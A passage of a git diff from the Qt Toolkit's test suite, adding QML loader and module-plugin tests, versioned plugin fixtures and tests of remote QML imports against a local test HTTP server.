@@ -590,6 +593,45 @@ void tst_QDeclarativeLoader::creationContext()
delete o;
}
+void tst_QDeclarativeLoader::QTBUG_16928()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("QTBUG_16928.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+
+ QCOMPARE(item->width(), 250.);
+ QCOMPARE(item->height(), 250.);
+
+ delete item;
+}
+
+void tst_QDeclarativeLoader::implicitSize()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("implicitSize.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+
+ QCOMPARE(item->width(), 150.);
+ QCOMPARE(item->height(), 150.);
+
+ QCOMPARE(item->property("implHeight").toReal(), 100.);
+ QCOMPARE(item->property("implWidth").toReal(), 100.);
+
+ delete item;
+}
+
+void tst_QDeclarativeLoader::QTBUG_17114()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("QTBUG_17114.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+
+ QCOMPARE(item->property("loaderWidth").toReal(), 32.);
+ QCOMPARE(item->property("loaderHeight").toReal(), 32.);
+
+ delete item;
+}
+
QTEST_MAIN(tst_QDeclarativeLoader)
#include "tst_qdeclarativeloader.moc"
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.2.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.2.qml
new file mode 100644
index 0000000..70b2bfd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.2.qml
@@ -0,0 +1,21 @@
+import com.nokia.AutoTestQmlMixedPluginType 1.5
+import QtQuick 1.0
+
+Item {
+ property bool test: false
+ property bool test2: false
+
+ Bar {
+ id: bar
+ }
+
+ Foo {
+ id: foo
+ }
+
+ Component.onCompleted: {
+ test = (bar.value == 16);
+ test2 = (foo.value == 89);
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.qml
new file mode 100644
index 0000000..da6ff46
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.qml
@@ -0,0 +1,13 @@
+import com.nokia.AutoTestQmlMixedPluginType 1.0
+import QtQuick 1.0
+
+Item {
+ property bool test: false
+ Bar {
+ id: bar
+ }
+
+ Component.onCompleted: {
+ test = (bar.value == 16);
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml
new file mode 100644
index 0000000..a9e28e5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml
@@ -0,0 +1,3 @@
+import com.nokia.AutoTestPluginWithQmlFile 1.0
+
+MyQmlFile {}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.errors.txt b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.errors.txt
new file mode 100644
index 0000000..a40c1c8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.errors.txt
@@ -0,0 +1 @@
+1:1:module "com.nokia.AutoTestQmlVersionPluginType" version 1.9 is not installed
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.qml
new file mode 100644
index 0000000..59fd084
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.qml
@@ -0,0 +1,5 @@
+import com.nokia.AutoTestQmlVersionPluginType 1.9
+import QtQuick 1.0
+
+QtObject {
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.errors.txt b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.errors.txt
new file mode 100644
index 0000000..2634223
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.errors.txt
@@ -0,0 +1 @@
+1:1:module "com.nokia.AutoTestQmlVersionPluginType" version 1.1 is not installed
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.qml
new file mode 100644
index 0000000..2065c07
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.qml
@@ -0,0 +1,6 @@
+import com.nokia.AutoTestQmlVersionPluginType 1.1
+import QtQuick 1.0
+
+QtObject {
+}
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml
new file mode 100644
index 0000000..cc322bf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml
@@ -0,0 +1,3 @@
+import com.nokia.AutoTestQmlPluginType 2.0
+
+MyPluginType { valueOnlyIn2: 123 }
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml
new file mode 100644
index 0000000..c08160a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml
@@ -0,0 +1,3 @@
+import com.nokia.AutoTestQmlPluginType 2.1
+
+MyPluginType { valueOnlyIn2: 123 }
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml
new file mode 100644
index 0000000..18dcd26
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Item {} \ No newline at end of file
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir
new file mode 100644
index 0000000..858ba14
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir
@@ -0,0 +1,3 @@
+MyQmlFile 1.0 MyQmlFile.qml
+plugin pluginWithQmlFile
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/Foo.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/Foo.qml
new file mode 100644
index 0000000..ce51cbd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/Foo.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+ property int value: 89
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/qmldir
new file mode 100644
index 0000000..065dc3b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/qmldir
@@ -0,0 +1,2 @@
+plugin pluginMixed
+Foo 1.5 Foo.qml
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir
new file mode 100644
index 0000000..0a8b5d4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir
@@ -0,0 +1 @@
+plugin plugin
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir
new file mode 100644
index 0000000..0a8b5d4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir
@@ -0,0 +1 @@
+plugin plugin
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlVersionPluginType/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlVersionPluginType/qmldir
new file mode 100644
index 0000000..640967f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlVersionPluginType/qmldir
@@ -0,0 +1 @@
+plugin pluginVersion
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml
new file mode 100644
index 0000000..49613aa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Item {}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml
new file mode 100644
index 0000000..f19a336
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+Item {}
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir
new file mode 100644
index 0000000..167bb10
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir
@@ -0,0 +1,3 @@
+ComponentA 1.0 ComponentA.qml
+ComponentB 1.0 ComponentB.qml
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro
new file mode 100644
index 0000000..661675a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlPluginType.2.1
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp
new file mode 100644
index 0000000..1ae2bd4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class MyPluginType : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value WRITE setValue)
+ Q_PROPERTY(int valueOnlyIn2 READ value WRITE setValue)
+
+public:
+ MyPluginType(QObject *parent=0) : QObject(parent)
+ {
+ qWarning("import2.1 worked");
+ }
+
+ int value() const { return v; }
+ void setValue(int i) { v = i; }
+
+private:
+ int v;
+};
+
+
+class MyPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ MyPlugin()
+ {
+ qWarning("plugin2.1 created");
+ }
+
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlPluginType");
+ qmlRegisterType<MyPluginType>(uri, 2, 1, "MyPluginType");
+ }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro
new file mode 100644
index 0000000..d254642
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlPluginType.2
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.cpp
new file mode 100644
index 0000000..6bd8542
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.cpp
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class MyPluginType : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value WRITE setValue)
+ Q_PROPERTY(int valueOnlyIn2 READ value WRITE setValue)
+
+public:
+ MyPluginType(QObject *parent=0) : QObject(parent)
+ {
+ qWarning("import2 worked");
+ }
+
+ int value() const { return v; }
+ void setValue(int i) { v = i; }
+
+private:
+ int v;
+};
+
+
+class MyPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ MyPlugin()
+ {
+ qWarning("plugin2 created");
+ }
+
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlPluginType");
+ qmlRegisterType<MyPluginType>(uri, 2, 0, "MyPluginType");
+ }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/plugin.cpp
new file mode 100644
index 0000000..c7796e2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/plugin.cpp
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class BarPluginType : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value);
+
+public:
+ int value() const { return 16; }
+};
+
+
+class MyMixedPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ MyMixedPlugin()
+ {
+ }
+
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlMixedPluginType");
+ qmlRegisterType<BarPluginType>(uri, 1, 0, "Bar");
+ }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyMixedPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/pluginMixed.pro b/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/pluginMixed.pro
new file mode 100644
index 0000000..9766003
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/pluginMixed.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlMixedPluginType
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/plugin.cpp
new file mode 100644
index 0000000..27a6341
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/plugin.cpp
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class FloorPluginType : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value);
+
+public:
+ int value() const { return 16; }
+};
+
+
+class MyMixedPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ MyMixedPlugin()
+ {
+ }
+
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlVersionPluginType");
+ qmlRegisterType<FloorPluginType>(uri, 1, 4, "Floor");
+ }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyMixedPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/pluginVersion.pro b/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/pluginVersion.pro
new file mode 100644
index 0000000..70a38b9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/pluginVersion.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlVersionPluginType
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tools/qdoc3/bookgenerator.h b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/plugin.cpp
index 34f2c8b..20e2d80 100644
--- a/tools/qdoc3/bookgenerator.h
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/plugin.cpp
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the test suite of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -38,27 +38,21 @@
** $QT_END_LICENSE$
**
****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
-/*
- bookgenerator.h
-*/
-
-#ifndef BOOKGENERATOR_H
-#define BOOKGENERATOR_H
-
-#include "generator.h"
-
-QT_BEGIN_NAMESPACE
-
-class BookGenerator : public Generator
+class MyPlugin : public QDeclarativeExtensionPlugin
{
+ Q_OBJECT
public:
- BookGenerator();
- ~BookGenerator();
-
- virtual void generateTree( const Tree *tree, CodeMarker *marker );
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestPluginWithQmlFile");
+ }
};
-QT_END_NAMESPACE
+#include "plugin.moc"
-#endif
+Q_EXPORT_PLUGIN2(plugin, MyPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro
new file mode 100644
index 0000000..aa9c95c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestPluginWithQmlFile
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro b/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro
index 221e465..6e72d98 100644
--- a/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro
@@ -1,6 +1,6 @@
QT = core
TEMPLATE = subdirs
-SUBDIRS = plugin pluginWrongCase
+SUBDIRS = plugin plugin.2 plugin.2.1 pluginWrongCase pluginWithQmlFile pluginMixed pluginVersion
tst_qdeclarativemoduleplugin_pro.depends += plugin
SUBDIRS += tst_qdeclarativemoduleplugin.pro
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp
index 96ec21b..dc104e2 100644
--- a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp
@@ -44,6 +44,13 @@
#include <QtDeclarative/qdeclarativecomponent.h>
#include <QDebug>
+#include "../shared/testhttpserver.h"
+#include "../../../shared/util.h"
+
+#define SERVER_ADDR "http://127.0.0.1:14450"
+#define SERVER_PORT 14450
+
+
class tst_qdeclarativemoduleplugin : public QObject
{
Q_OBJECT
@@ -54,7 +61,15 @@ public:
private slots:
void importsPlugin();
+ void importsPlugin2();
+ void importsPlugin21();
+ void importsMixedQmlCppPlugin();
void incorrectPluginCase();
+ void importPluginWithQmlFile();
+ void remoteImportWithQuotedUrl();
+ void remoteImportWithUnquotedUri();
+ void versionNotInstalled();
+ void versionNotInstalled_data();
};
#ifdef Q_OS_SYMBIAN
@@ -121,6 +136,38 @@ void tst_qdeclarativemoduleplugin::importsPlugin()
delete object;
}
+void tst_qdeclarativemoduleplugin::importsPlugin2()
+{
+ QDeclarativeEngine engine;
+ engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+ QTest::ignoreMessage(QtWarningMsg, "plugin2 created");
+ QTest::ignoreMessage(QtWarningMsg, "import2 worked");
+ QDeclarativeComponent component(&engine, TEST_FILE("data/works2.qml"));
+ foreach (QDeclarativeError err, component.errors())
+ qWarning() << err;
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("value").toInt(),123);
+ delete object;
+}
+
+void tst_qdeclarativemoduleplugin::importsPlugin21()
+{
+ QDeclarativeEngine engine;
+ engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+ QTest::ignoreMessage(QtWarningMsg, "plugin2.1 created");
+ QTest::ignoreMessage(QtWarningMsg, "import2.1 worked");
+ QDeclarativeComponent component(&engine, TEST_FILE("data/works21.qml"));
+ foreach (QDeclarativeError err, component.errors())
+ qWarning() << err;
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("value").toInt(),123);
+ delete object;
+}
+
void tst_qdeclarativemoduleplugin::incorrectPluginCase()
{
QDeclarativeEngine engine;
@@ -145,6 +192,122 @@ void tst_qdeclarativemoduleplugin::incorrectPluginCase()
QCOMPARE(errors.at(0).description(), expectedError);
}
+void tst_qdeclarativemoduleplugin::importPluginWithQmlFile()
+{
+ QString path = QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports");
+
+ // QTBUG-16885: adding an import path with a lower-case "c:" causes assert failure
+ // (this only happens if the plugin includes pure QML files)
+ #ifdef Q_OS_WIN
+ QVERIFY(path.at(0).isUpper() && path.at(1) == QLatin1Char(':'));
+ path = path.at(0).toLower() + path.mid(1);
+ #endif
+
+ QDeclarativeEngine engine;
+ engine.addImportPath(path);
+
+ QDeclarativeComponent component(&engine, TEST_FILE("data/pluginWithQmlFile.qml"));
+ foreach (QDeclarativeError err, component.errors())
+ qWarning() << err;
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ delete object;
+}
+
+void tst_qdeclarativemoduleplugin::remoteImportWithQuotedUrl()
+{
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/imports");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData("import \"http://127.0.0.1:14450/com/nokia/PureQmlModule\" \nComponentA { width: 300; ComponentB{} }", QUrl());
+
+ QTRY_COMPARE(component.status(), QDeclarativeComponent::Ready);
+ QObject *object = component.create();
+ QCOMPARE(object->property("width").toInt(), 300);
+ QVERIFY(object != 0);
+ delete object;
+
+ foreach (QDeclarativeError err, component.errors())
+ qWarning() << err;
+ VERIFY_ERRORS(0);
+}
+
+void tst_qdeclarativemoduleplugin::remoteImportWithUnquotedUri()
+{
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/imports");
+
+ QDeclarativeEngine engine;
+ engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+ QDeclarativeComponent component(&engine);
+ component.setData("import com.nokia.PureQmlModule 1.0 \nComponentA { width: 300; ComponentB{} }", QUrl());
+
+
+ QTRY_COMPARE(component.status(), QDeclarativeComponent::Ready);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("width").toInt(), 300);
